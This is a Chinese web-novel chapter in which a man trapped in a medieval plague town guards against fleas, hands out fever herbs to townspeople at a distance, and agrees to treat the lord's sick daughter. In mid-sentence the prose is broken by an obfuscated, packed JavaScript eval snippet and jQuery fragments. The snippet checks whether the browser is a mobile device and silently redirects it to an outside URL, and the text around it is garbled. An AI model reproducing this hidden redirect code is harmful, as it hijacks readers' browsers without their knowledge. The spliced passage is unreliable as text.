林越醒来的第一件事，不是睁眼，是检查。


    手摸向胳膊，从肩膀到手腕，一寸寸皮肤按过去。没有新疙瘩，没有新痒点。他这才睁开眼，借着清晨微弱的光线仔细看——左臂那三个跳蚤包还在，颜色从鲜红变成了暗红，但周围没有新的红点。


    他又检查另一只胳膊，胸口，后背，腹股沟，脚踝。动作熟练得像在完成某种每日质量检测流程：项目一，皮肤完整性检查；项目二，异常红点排查；项目三，瘙痒程度评估。


    结果：全部通过。


    林越坐起来，低头看手腕。两道红痕依然鲜艳，在晨光里红得有点刺眼。他看着那两道红色，脑子里自动计算：死亡机会剩余两次，每次决策的容错率50%。不对，不能这么算——死亡不是概率题，是二选一。要么活，要么死。


    他穿好衣服，束紧裤腿上的布条袜套，检查腰间的驱虫香包——薄荷和薰衣草混合的清凉气味已经淡了很多，但还能闻到。墙角那圈石灰粉还在，薄薄的一层白色，像给房间画了个结界。


    “暂时有效。”林越对自己说。


    但他知道“暂时有效”在这种环境里是什么意思。就像纸糊的防弹衣，挡得住流言蜚语，挡不住真枪实弹。就像用透明胶带补漏水的屋顶，晴天没事，一下雨就现原形。


    推门下楼时，旅店大堂空荡荡的。老板不在柜台后面，桌上那本油腻的账本摊开着，笔搁在旁边，墨迹还没干透。


    林越走到门口，推开木门。


    灰石镇的清晨，安静得有点诡异。


    街道上行人稀少，而且都走得很快，低着头，用布巾捂住口鼻。窗户大多紧闭着，有几扇窗后面能看到人影晃动，但很快又消失了。空气里有股混合气味——草药烟熏的苦味，还有某种说不清道不明的……恐慌的味道。


    恐慌有味道吗？林越觉得有。那是一种紧绷的、酸涩的、带着汗味和呼吸急促的味道。


    他沿着街道往广场走，路上遇到了三个行人。第一个是中年男人，背着一大袋面粉，脚步匆匆，眼神警惕地扫过林越，然后迅速移开。第二个是老年妇人，手里抱着一捆布料——做衣服？还是做裹尸布？林越没敢细想。第三个是年轻人，空着手，但脸上那种茫然和恐惧的表情，比背负重物的人看起来更沉重。


    走到广场时，教堂的钟声响了。


    不是整点报时的那种悠长钟声，而是急促的、连续的三下敲击：咚，咚，咚。


    林越停下脚步，抬头看向教堂方向。钟声在清晨的空气里回荡，然后消失。广场上原本还有几个摆摊的人，听到钟声后，动作都停了一秒。然后有人开始收摊，有人加快速度，有人站在原地，抬头看天，好像在等待什么。


    三下钟声，代表三个新的死亡。


    这是灰石镇最近形成的默契——不，不是默契，是恐惧催生出来的某种残酷的通讯系统。教堂不会宣布谁死了，不会说死因是什么，不会告诉你怎么预防。它只是敲钟，用声音在镇子上空画下无形的墓碑。


    林越转身往回走，准备去玛格丽特婆婆的小屋。但他没走几步，就听到身后传来争吵声。


    “你不能走！领主有令，任何人不得离开灰石镇！”


    “我母亲在邻镇，她病了，我要去看她！”


    “出去就是死，你留在镇子里还可能活！”


    “留在这里才是等死！”


    林越回头看去，城门口聚集了十几个人。几个守卫手持长矛，拦在门口。想出去的人群情激愤，但没有人真的敢冲过去——长矛尖在晨光里闪着冷光。


    这是“逃离派”和“封锁派”的对峙。林越观察了几秒，发现一个规律：想离开的大多是年轻人，或者独身者。拖家带口的反而犹豫，站在人群外围，眼神在守卫和家人之间来回移动。


    他继续往前走，经过市场。这里的情况更混乱。


    原本应该摆满摊位的地方，现在只有零星几个摊子还在营业。一个卖粮食的老头面前围了七八个人，都在抢购面粉和豆子。价格牌上的数字被划掉又重写，划掉又重写，最后的价格是三天前的三倍。


    “我要十磅面粉！”


    “给我留五磅豆子！”


    “钱在这里，快给我装！”


    抢购力度比双十一还猛，虽然抢的是发霉的面粉和不知道掺了什么的脏水。林越脑子里冒出这个念头，然后自己都觉得这对比有点荒谬——现代社会的消费狂欢和中世纪的生存挣扎，放在同一个天平上，轻得让人心慌。


    他看到一个妇人抱着几卷粗布匆匆离开，布料的颜色是沉闷的灰色和褐色。做衣服？还是……林越摇摇头，把那个念头压下去。


    市场另一边，有人在演讲。


    不，不是演讲，是布道。约阿希姆神父站在一个木箱上，双手高举，声音洪亮得能在嘈杂的市场里被清楚听到：


    “……瘟疫是神对罪人的清洗！是我们偏离了神的道路，是我们堕入了罪恶的深渊！忏悔吧，我的孩子们！祈祷吧！唯有真诚的忏悔和祈祷，才能平息神的怒火！”


    周围聚集了二十几个人，有的低头祈祷，有的满脸虔诚，有的眼神迷茫。


    神父继续：“那些试图用草药治病的人，那些讨论如何‘防治瘟疫’的人，他们是在质疑神的意志！他们是在用人的智慧挑战神的天罚！”


    人群中有人附和：“对！神父说得对！”


    “我们该忏悔，不该找药！”


    “那些生病的人，肯定是罪孽深重！”


    林越站在人群外围，听着这些话，心里涌起一股复杂的情绪。有愤怒，但更多的是无力。他知道这种思维在中世纪有多普遍，知道宗教在解释未知灾难时的力量。但他还是忍不住想：如果忏悔能治病，那还要医生干什么？如果祈祷能退烧，那人类这几千年医学发展算什么？


    但他什么都没说。他只是转身离开，朝玛格丽特婆婆的小屋走去。


    离小屋还有几十米时，林越就看到了队伍。


    从门口排出来的队伍，大概有十五六个人，沿着墙根站成一列。大多数是妇人，也有几个男人，都低着头，手里拿着各种容器——陶罐、木碗、布包。队伍很安静，没有人交谈，只有偶尔的咳嗽声和压抑的啜泣声。


    林越绕到小屋侧面，从后门进去——这是婆婆之前告诉他的“学徒通道”。


    推门进去时，草药的气味比以往任何时候都浓烈。玛格丽特婆婆站在工作台前，背对着门，正在快速分装某种干叶子。她的动作依然稳定，但林越能看到她肩膀的弧度透出的疲惫。


    “婆婆。”林越轻声打招呼。


    玛格丽特回头看了他一眼，点点头，没说话，继续手里的活。


    林越走过去，看到工作台上摆着几个大布袋，里面分别是薄荷、薰衣草、还有几种他不认识的草药。每个布袋都空了一小半。


    “需要帮忙吗？”林越问。


    婆婆停下来，擦了擦额头的汗：“薄荷和薰衣草快没了。退热草药，”她指了指其中一个布袋，“也只够几天。”


    她顿了顿，看着林越：“外面的人……很多是孩子发烧。”


    林越没说话。他看着婆婆的眼睛，那双布满皱纹的眼睛里有疲惫，有担忧，还有某种他熟悉的东西——那种“明知不可为而为之”的坚持。


    “如果你愿意，”婆婆声音很轻，“可以帮我配药。我分装，你交给外面的人。这样快些。”


    林越感到胃部收紧了一下。


    帮忙配药，意味着更直接的接触。意味着他要接过病患家属递来的容器，要近距离闻到他们身上的气味，要看到他们脸上的绝望和希望。意味着感染风险从“理论可能”变成“实际存在”。


    他脑子里自动开始计算：


    已知条件1：鼠疫通过跳蚤叮咬传播，但也可能通过飞沫传播（病患咳嗽、打喷嚏）。


    已知条件2：近距离接触（三米内）传播概率显著增加。


    已知条件3：中世纪无有效防护手段（没有N95，没有防护服，没有消毒酒精）。


    已知条件4：死亡机会剩余两次。


    结论：风险等级高，建议拒绝。


    但他看着婆婆疲惫的脸，听着门外隐约传来的孩子的哭声，那个“拒绝”在喉咙里卡住了。


    “好。”林越说，声音比自己预想的要平静，“但我需要做些准备。”


    婆婆点点头，眼里闪过一丝感激，但很快又被疲惫淹没。


    林越走到后门旁的水缸边，用木瓢舀水洗手。不是普通洗手，是按照记忆中的“七步洗手法”——虽然这里没有肥皂，但他用婆婆提供的醋水代替。手心，手背，指缝，指尖，手腕。洗得很仔细，像在完成某种宗教仪式。


    然后他从包袱里找出一块相对干净的布，撕成两条，一条蒙住口鼻，在脑后系紧。另一条扎在头上，包住头发。最后检查一遍袜套和袖口，确认都扎紧了。


    做完这些，他走到前门，深吸一口气，推开门。


    门外的队伍瞬间安静下来，所有人都看向他。


    林越看到十五六双眼睛，里面装满了各种情绪：希望、恐惧、哀求、麻木。他看到有人怀里抱着孩子，孩子脸烧得通红；有人扶着老人，老人咳嗽不止；有人独自站着，眼神空洞。


    “一个一个来。”林越说，声音透过布巾有点闷，“把容器放在门口石阶上，退后三步。”


    第一个人是个年轻母亲，怀里抱着婴儿。婴儿大概不到一岁，闭着眼睛，呼吸急促，脖颈侧面有一个明显的肿块，肿得发亮。


    林越感觉胃部又收紧了一下。


    “什么症状？”他问，声音尽量平稳。


    “发热，从昨天开始。”母亲声音颤抖，“脖子这里……肿了。”


    林越点点头，转身回屋。他从婆婆分装好的草药包里拿出一小份退热草药——主要是柳树皮和一些他不认识的叶子，用干草捆成一小束。


    走回门口时，母亲已经退到三步外。林越把药束放在石阶上，然后自己也退后一步。


    “回去煮水，煮开后小火熬一刻钟。”林越说，“喂孩子喝，一天三次。如果呕吐或者……更严重，再来。”


    母亲点点头，眼泪流下来。她快步上前拿起药束，抱紧孩子，转身跑走了。


    林越看着她跑远的背影，心里想：这社交距离比疫情期间还严格。虽然中世纪没有“社交距离”这个概念——他们只有“死了就距离了”。


    第二个是个中年男人，扶着一位老妇人。老妇人咳嗽得很厉害，每咳一声身体就剧烈颤抖。


    “发热吗？”林越问。


    “发热，还咳。”男人说，“两天了。”


    林越又回去拿了一束药，同样放在石阶上，同样保持距离指导用法。


    第三个，第四个，第五个……


    流程重复：询问症状，回去拿药，放在石阶上，保持距离指导，下一位。


    林越逐渐进入一种机械化的状态。他的大脑分成两个部分：一部分在执行任务——拿药，放药，说话；另一部分在持续监测——检查自己的呼吸（有没有太急促），检查皮肤感觉（有没有发痒），检查时间（每个人不能超过一分钟）。


    到第十个人时，他停下来，回到屋里洗手。醋水倒在手上，冰凉刺鼻，但他洗得很认真。婆婆看了他一眼，没说话，继续分装草药。


    洗完手，他继续。


    队伍缓慢前进。有人拿到药后道谢，有人只是默默拿起药离开，有人想问更多问题，但林越用简洁的指令打断：“按刚才说的做，三天后如果没好再来。”


    不是冷漠，是效率。在这种环境下，效率就是生存率。


    最后一个是个小女孩，大概八九岁，独自一人。她拿着一个破旧的陶罐，怯生生地看着林越。


    “你家里人呢？”林越问，声音不自觉地放轻了些。


    “母亲病了，躺在床上。”小女孩声音很小，“父亲……昨天被钟声带走了。”


    林越沉默了几秒。他回到屋里，这次多拿了一束药，还从自己的干粮里掰了一小块黑面包，一起放在石阶上。


    “药煮给母亲喝，面包你自己吃。”林越说，“记住，碰过母亲的东西后要洗手，用清水洗，多洗几遍。”


    小女孩点点头，拿起药和面包，小声说了句“谢谢”，然后跑走了。


    林越看着她瘦小的背影消失在街角，然后关上木门。


    他靠在门板上，长长地吐出一口气。直到这时，他才感觉到身体的紧绷——肩膀僵硬，手指微颤，心跳比平时快。成就感？有一点，但很快就被“后怕”取代。


    他刚才接触了十六个病患家属。十六次近距离（虽然保持了三米）接触。十六次潜在感染风险。


    他走到水缸边，再次洗手。这次洗得更久，更用力，指甲缝都仔细搓过。


    “谢谢。”婆婆的声音从背后传来。


    林越回头，看到婆婆站在工作台旁，看着他，眼神复杂。


    “不客气。”林越说，声音有点干涩。


    “你做得很好。”婆婆说，“比我想象的更好。”


    林越不知道该怎么回应。他做的只是最基本的防护，最基本的流程控制。放在现代，这大概连“合格”都算不上。但在这里，在这个时代，这已经是极限了。


    他走到窗边，透过缝隙看外面的街道。天色暗下来了，暮色笼罩灰石镇。街道上几乎没有人，偶尔有身影匆匆走过，也很快消失在门后。


    这个小镇正在沉入夜晚，但林越知道，这个夜晚会很长，很冷，很难熬。


    而他手腕上的两道红痕，在渐暗的光线里，依然红得刺眼。


    回到旅店房间时，天已经完全黑了。林越点亮油灯，昏黄的光线勉强照亮房间一角。


    他做的第一件事，还是检查。


    脱掉上衣，仔细看皮肤。胳膊，胸口，后背——没有新红点。他松了口气，但知道检查还没完。解开裤腿上的布条袜套，露出脚踝。


    然后他看到了。


    右脚踝外侧，靠近骨头凸起的地方，一个新鲜的红点。很小，但确实是新的，中央有个微小的凸起，摸上去有点痒。


    跳蚤突破了防线。


    林越盯着那个红点看了十秒，然后慢慢坐下。油灯的光在他脸上跳动，投下晃动的阴影。


    防护体系不完美。他早就知道，但知道和亲眼看到是两回事。就像你知道纸糊的墙挡不住风，但真正看到风吹破纸的那一刻，那种“果然如此”的感觉里，还是掺杂着一丝失望。


    他抬起手腕看红痕。两道鲜艳的红色在油灯光下像两滴血。死亡机会剩余两次，而跳蚤刚刚证明了一件事：在这个世界里，防护只能“降低概率”，不能“绝对防护”。


    概率游戏。林越脑子里冒出这个词。他之前的世界里也玩概率游戏——项目成功率、投资回报率、代码bug出现概率。但那些游戏赌的是钱，是时间，是职业发展。这里的游戏赌的是命。


    他站起来，从包袱里找出几块更厚的碎布，开始升级防护。袜套拆下来，加一层布，重新扎紧，扎得更紧，紧到有点勒脚。香包打开，把剩下的薄荷叶全部塞进去，虽然知道效果有限——跳蚤对薄荷的敏感度大概跟现代人对“心灵鸡汤”的敏感度差不多，有点用，但别指望太多。


    做完这些，他坐在床边，看着自己升级后的“装备”。行为意义大于实际意义。做了，至少感觉自己还在“控制局面”。虽然这控制可能只是幻觉，但幻觉在绝境里也是一种必需品。


    第二天清晨，教堂钟声又响了。


    这次是四下：咚，咚，咚，咚。


    林越站在窗边听着。四下，四个新的死亡。他不知道是谁，不知道在哪条街，不知道是男是女是老是少。他只知道数字在增加，像某种残酷的倒计时。


    出门时，他决定绕远路去玛格丽特婆婆的小屋，想看看灰石镇的街道变成了什么样子。


    他看到了。


    东街一户人家门口，摆着几个陶罐。陶罐里装着水——不，不是水，是某种浑浊的液体，表面漂着灰烬。驱邪？还是某种葬礼仪式？林越不知道


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197398|195946||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，也不想知道。


    西街的面包坊关门了，木板门上用炭笔画了个歪歪扭扭的十字。窗户破了，但没人修补。


    走到一条小巷口时，林越听到了争吵声。


    “……滚出去！别在这里传染给我们！”


    “我……我没地方去……”


    “那是你的事！你想害死我们全家吗？”


    林越停下脚步，躲在巷口墙角，小心地探头看去。


    巷子里，一个中年男人正把一个老人往外推。老人站不稳，踉跄几步，跌坐在墙根。他穿着单薄的衣服，脸烧得通红，咳嗽不止。


    “我……我只是发热……”老人声音虚弱。


    “发热就是瘟疫！你想让我们都死吗？”中年男人声音尖利，带着恐惧催生出来的愤怒，“我家里有孩子，有老人，我不能让你留在这里！”


    老人还想说什么，但一阵剧烈的咳嗽打断了他。他蜷缩在地上，身体颤抖。


    中年男人后退几步，从地上捡起一块石头，远远扔过去。石头没砸中老人，落在旁边，发出沉闷的撞击声。


    “滚！再不滚我打死你！”


    林越看着这一幕，胃部收紧。他看到恐惧正在将人性中最丑陋的部分激发出来。灰石镇从“中世纪小镇”正在变成“人性压力测试场”——给你足够的压力，看看你会变成什么样。有的人变成囤积狂，有的人变成逃亡者，有的人变成审判者。


    老人挣扎着想站起来，但失败了。他靠在墙上，闭上眼睛，呼吸急促。


    中年男人又捡起一块石头。


    林越深吸一口气，然后从墙角走出来，但保持足够远的距离。他看向中年男人，声音不大但清晰：


    “玛格丽特婆婆那里有退热草药。”


    中年男人转过头，警惕地看着他：“你是谁？”


    “路过的人。”林越说，“只是传个话。去不去，你们自己决定。”


    说完，他转身离开，没有回头，没有停留。他没有靠近老人，没有试图帮助他站起来，没有谴责中年男人。他只是提供了一句话，一个信息。


    这是他在“自保”与“助人”之间找到的平衡点——提供信息，不提供接触。提供可能性，不提供保证。


    走远后，林越才允许自己回头看了一眼。巷子里，中年男人还站在那里，手里的石头已经放下了。他看着墙根的老人，表情复杂。


    林越不知道最后会怎样。也许男人会去拿药，也许不会。也许老人会自己爬起来去求药，也许就死在那里。他不知道，也无法控制。


    他继续往前走，手腕上的红痕在晨光里隐约发烫。


    每次做出帮助决定前，他都会看一眼手腕。两道鲜艳的红色像两个警告灯，无声地提醒：机会有限，生命有限。你只有两次犯错的机会，用完就没了。


    他开始理解“有限救助原则”的真正含义。不是不救，而是在确保自己存活的前提下，救能救的人。就像急救原则——先确保环境安全，再施救。如果环境不安全，你自己先死，那还救什么人？


    这听起来冷酷，但在这种环境下，冷酷是生存的必需品。


    走到玛格丽特婆婆的小屋时，门外的队伍比昨天短了些，但等待的人表情更绝望。林越从后门进去，看到婆婆正在整理所剩无几的草药。


    “薄荷彻底没了。”婆婆说，声音平静，但平静底下有某种沉重的东西，“薰衣草还有一点，退热草药……大概还够十个人。”


    十个人。林越看了眼门外，队伍至少有十五人。


    “领主那边来人了。”婆婆突然说。


    林越转头看她。


    “领主的女儿安娜，昨天开始发热。”婆婆说，“今天早晨，脖颈出现肿块。领主派人来请我去看诊。”


    林越等待下文。他知道婆婆年迈体弱，走不到城堡——城堡在灰石镇东边的山丘上，有一段不短的山路。


    婆婆看着他，眼神复杂：“如果你愿意……可以替我去。”


    林越感觉时间慢了下来。他能听到自己的心跳，能听到门外隐约的啜泣声，能听到远处教堂隐约的钟声。


    “城堡情况更复杂。”婆婆继续说，声音很轻，“那里人多，仆人，守卫，贵族。如果安娜真的是鼠疫……传染风险更大。而且贵族……”她顿了顿，“他们的要求更多，更难应付。”


    林越明白她的意思。平民病患家属大多感激，贵族可能更挑剔，更怀疑，更……危险。治好了是应该的，治不好可能被迁怒。


    “但如果你能帮上忙，”婆婆说，“领主会感激。在中世纪，贵族感激可能……很有用。”


    保命符。林越脑子里冒出这个词。在这个封建等级森严的社会，获得领主的信任和感激，可能意味着食物，住所，保护，甚至可能在他用完红痕后，提供某种庇护。


    但风险也很高。更高的感染风险，更复杂的社交环境，更不可控的变数。


    他看着手腕上的红痕。两道鲜艳的红色在昏暗的光线里像两团小火苗。他在心里列出选项：


    选项一：拒绝。最安全。继续在婆婆这里帮忙，虽然草药快没了，但风险可控。缺点是可能错过获得贵族庇护的机会。


    选项二：接受。高风险，高回报。如果成功，可能获得领主的感激和庇护；如果失败或感染，可能直接消耗一道红痕。


    死亡机会剩余两次。这意味着他不能犯两次错。一次犯错，还剩一次机会。两次犯错，游戏结束，进入惩罚世界。


    他想起现代职场里的一句话：高风险项目，要么一战成名，要么直接毕业。只是这里的“毕业”，意思是死亡。


    林越抬起头，看向婆婆。婆婆也在看他，眼神里有担忧，但没催促，没劝说。她把选择权完全交给他。


    “好。”林越说，声音平静，“我去。但我需要做些准备。”


    婆婆点点头，眼里的担忧没有减少，但多了些别的东西——也许是尊重，也许是欣慰。


    “需要什么？”她问。


    “多层布口罩。”林越开始列清单，“干净的布，越多层越好。还有手套——厚布手套。醋水，用来洗手。还有……”他想了想，“能让人保持清醒的草药，如果有的话。”


    婆婆转身去准备。林越走到窗边，看向外面灰石镇的街道。


    街道空荡荡的，偶尔有乌鸦飞过，落在屋顶，发出刺耳的叫声。远处教堂的轮廓在阴沉的天色里显得格外沉重。


    他知道接下来要面对什么。城堡，贵族，病人，潜在的感染风险。但他也知道，在这个世界里，安全是相对的，风险是绝对的。躲在小屋里帮忙配药是安全，但草药快没了。拒绝城堡任务是安全，但可能错失关键机会。


    每一次选择，都在赌命。这就是“无限死亡轮回”的本质——不是无限复活，是无限选择，而每个选择都带着死亡的重量。


    婆婆把准备好的东西放在桌上：几块相对干净的布，一副厚布手套，一个小陶罐里装着醋水，还有一小束干叶子。


    “迷迭香。”婆婆说，“嚼一点，能提神。但别太多，会头晕。”


    林越点点头，开始制作多层布口罩。他把三块布叠在一起，缝成简易的口罩形状，两侧缝上布带。手套检查过，没有破损。醋水装进另一个小陶罐，塞进包袱。


    做完这些，他重新检查全身防护：袜套扎紧，袖口扎紧，衣领袖口都扎紧。香包虽然快没味道了，但还是挂在腰间。


    最后，他抬起手腕，看着那两道红痕。


    “还剩两次。”他对自己说，“这次赌了。”


    他背上包袱，推开门。外面等候的人群看向他，眼神里有疑问，有期待，有绝望。


    林越没说话，只是对婆婆点点头，然后转身朝城堡方向走去。


    街道在他脚下延伸，通往山丘，通往城堡，通往未知的风险和可能的机会。


    他走得不快，但每一步都很稳。手腕上的红痕在行走中隐约发烫，像两个小小的警告灯，持续亮着。


    他知道，跳蚤战争还没结束。真正的考验，刚刚开始。